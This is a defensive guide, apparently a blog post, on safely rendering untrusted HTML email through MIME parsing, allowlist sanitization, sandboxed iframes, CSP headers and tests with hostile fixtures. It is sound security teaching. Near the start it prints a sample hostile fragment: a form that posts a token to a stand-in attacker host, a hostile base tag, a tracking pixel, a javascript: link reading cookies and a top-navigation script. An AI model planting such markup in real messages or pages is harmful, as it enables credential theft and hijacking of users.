How to Safely Render HTML Email in a Web App
An HTML email is untrusted active content. To render it safely in a web app, I would parse the MIME message first, sanitize the selected HTML with an allowlist, resolve inline resources inside the message, block remote loads by default, and display the result in a sandboxed document with a restrictive Content Security Policy.
Sanitization and isolation solve different problems. The sanitizer removes capabilities from the markup. The render boundary limits the damage if a dangerous construct survives, a configuration changes, or a browser interprets the document differently than expected.
Here is a deliberately hostile, hypothetical fragment. It is not exotic:
<base href="https://attacker.example/">
<form action="https://attacker.example/collect">
<input name="token">
<button>Continue</button>
</form>
<img src="https://tracker.example/open/7f3c" alt="">
<a href="javascript:alert(document.cookie)">View invoice</a>
<script>top.location = "https://attacker.example/"</script>
The goal is not merely to make the script tag disappear. The rendered document should be unable to run script, submit a form, change the parent application, reinterpret relative URLs through a hostile <base>, or fetch a tracking resource without a product decision allowing it.
Start with the MIME tree, not an HTML string
A raw email is a tree. RFC 2046 defines multipart/alternative as interchangeable versions of the same information, ordered from simpler to richer representations. Your renderer should select one supported body branch rather than concatenate every text/* part.
That selection belongs before sanitization. Otherwise an attachment containing HTML, a forwarded message, or both alternatives can leak into the display path. I covered the container relationships in the MIME structure guide, and the same parse-first boundary matters when extracting the newest reply.
I would preserve four separate fields: the original message bytes, the parsed MIME tree, the chosen body part, and the eventual display document. A rendering failure should not overwrite the evidence needed to inspect or reprocess the message.
Sanitize capabilities, not a list of scary tags
Output encoding is correct when the product wants to show the source as text. It is not enough when the product intentionally renders formatting. The OWASP XSS Prevention Cheat Sheet recommends a maintained HTML sanitizer for untrusted HTML and warns that changing the result after sanitization can void the protection.
For email, I would define an allowlist around the small set of presentation features the reader actually needs. The exact library is less important than the contract:
- Allow ordinary text structure such as paragraphs, headings, lists, tables, quotations, and basic emphasis.
- Remove scripts, forms, embedded browsing contexts, plugins, metadata elements, and event-handler attributes.
- Remove
<base>. Resolve every URL under your own policy instead of letting the message redefine the document base. - Allow only explicit URL schemes. A reasonable starting point for links is
https:andmailto:, withhttp:handled according to product policy. Rejectjavascript:,data:on navigable links, and unknown schemes. - If inline styles are retained for email fidelity, sanitize CSS properties and every
url()value separately. An allowedstyleattribute is not permission for arbitrary network requests.
Do not sanitize and then run string replacements that can create new attributes or URLs. Parse, transform through typed nodes, sanitize, and serialize. If a later step must rewrite a URL, pass the result through the same scheme and resource policy before it reaches the browser.
Inline and remote images are different resources
A cid: URL refers to another body part in the same message. RFC 2392 defines that mapping. Resolve it only against the current message's parsed parts, then verify the media type and size before producing a short-lived local object URL or an application-controlled asset URL.
A remote https: image crosses a network boundary. Loading it can disclose that a particular resource was requested, which is why the tracking-pixel guide treats a fetch as a network observation, not proof that a person read the message.
My default viewer would block remote content and offer a deliberate “Load remote images” action. If the application proxies those images, the proxy becomes an SSRF surface. The OWASP SSRF Prevention Cheat Sheet explains why URL parsing, redirects, DNS resolution, and private-address checks all matter. A production proxy should restrict schemes and ports, reject non-public destinations at connection time, revalidate redirects, cap response size and time, verify the declared and detected media type, strip credentials and cookies, and cache by a safe internal key.
The policy can be stated without pretending every image is the same:
| Resource | Default action | Required boundary |
|---|---|---|
cid: image | Resolve locally | Current message only, size and media-type checks |
| Remote image | Block | Explicit user action or hardened image proxy |
data: image | Remove or tightly limit | Allowed image types and decoded-size cap |
| Stylesheet, font, media, frame | Block | No email-rendering need by default |
Put the display document behind a second boundary
Do not inject sanitized email into the same DOM that holds your navigation, account controls, or session-bearing application. Render it in an iframe with the sandbox attribute and no permissive tokens unless a measured requirement justifies one.
The HTML Standard says a sandboxed frame without opt-out tokens receives a unique opaque origin and has forms, scripts, top-level navigation, popups, and other capabilities restricted. In particular, do not combine allow-scripts and allow-same-origin for same-origin content. Email does not need either permission.
I prefer serving the sanitized document from an isolated origin with response headers, rather than using an application component that writes HTML into the main page. A defensive response can begin here:
Content-Security-Policy:
default-src 'none';
img-src 'self' https://mail-image-proxy.example;
style-src 'unsafe-inline';
base-uri 'none';
form-action 'none';
frame-ancestors https://app.example;
sandbox
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff
This is a baseline, not a copy-and-forget policy. If your display origin differs, adjust frame-ancestors. If you do not retain inline styles, make style-src stricter. If remote images are disabled, omit the proxy host from img-src. The current Content Security Policy Level 3 specification defines sandbox, form-action, and frame-ancestors; it also notes that frame-ancestors does not fall back to default-src.
The fair objection is that a good sanitizer should make the sandbox redundant. I would still use both. Sanitizer rules can drift, browser parsing changes, and an integration can accidentally bypass the sanitization call. The frame and CSP provide an independent browser-enforced boundary. CSP is defense in depth, not a substitute for sanitization.
Prove the boundary with hostile fixtures
Positive tests that show a logo and a table are not enough. Keep a fixed corpus of hostile messages and assert what the browser cannot do.
| Fixture | Expected result | Observable check |
|---|---|---|
| Script and event handlers | Removed and non-executable | No script execution or application-DOM access |
| Form and submit button | Removed or inert | No outbound form request |
Hostile <base> | Removed | Relative links do not change destination |
javascript: link | URL rejected | Click cannot execute code |
| Remote pixel | Blocked before consent | No DNS or HTTP request |
cid: image from another message | Unresolved | No cross-message asset lookup |
| Proxy URL resolving to a private IP | Rejected | No connection to local or metadata networks |
Run those tests against the serialized display document and in a real browser. Record sanitizer removals and CSP violations as security telemetry, but do not include message bodies or secrets in logs.
Email verification answers a different question. It can provide address-quality evidence before a signup or send, but it does not inspect inbound HTML or make a message safe. The current API contract keeps verification status, recommended action, and signals explicit, including unknown outcomes. The rendering path should be just as honest about its own boundary.
The finished viewer has a testable property: the render frame can display the selected message, but it cannot execute script, submit data, navigate the application, or fetch remote content unless a narrowly defined policy allows that exact action.